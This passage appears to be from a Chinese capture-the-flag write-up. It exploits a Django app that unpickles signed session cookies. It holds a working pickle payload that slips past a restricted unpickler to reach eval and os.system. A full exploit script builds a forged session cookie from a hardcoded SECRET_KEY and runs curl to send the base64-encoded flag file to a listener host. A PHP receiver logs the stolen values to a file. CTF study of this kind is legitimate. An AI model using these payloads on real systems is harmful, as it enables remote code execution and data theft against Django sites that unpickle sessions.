    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

    data = b'''cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRp1
    cbuiltins
    getattr
    (g1
    S'eval'
    tR(S'__import__("os").system("id")'
    tR.
    .'''

    data = restricted_loads(data)

    print(data)

  • 本题的 exp 如下,由于在同一个局域网就在物理机上写了一个接收的 php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    from django.core import signing
    import pickle
    import builtins,io
    import base64
    import datetime
    import json
    import re
    import time
    import zlib
    data = b'''cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRp1
    cbuiltins
    getattr
    (g1
    S'eval'
    tR(S'__import__("os").system("curl http://192.168.0.100/xss/xss.php?$(cat /flag_djang0_p1ckle | base64)")'
    tR
    .'''

    def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b'=')


    def pickle_exp(SECRET_KEY):
    global data
    is_compressed = False
    compress = False
    if compress:
    # Avoid zlib dependency unless compress is being used
    compressed = zlib.compress(data)
    if len(compressed) < (len(data) - 1):
    data = compressed
    is_compressed = True
    base64d = b64_encode(data).decode()
    if is_compressed:
    base64d = '.' + base64d
    SECRET_KEY = SECRET_KEY
    # 根据SECRET_KEY进行Cookie的制造
    session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
    print(session)


    if __name__ == '__main__':
    SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
    pickle_exp(SECRET_KEY)

  • xss.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $data = fopen("cookies.txt","a+");

    foreach ($_GET as $key=>$value)
    {
    fwrite($data, $key.":".$value);
    fwrite($data, "\n");
    }
    ?>

thejs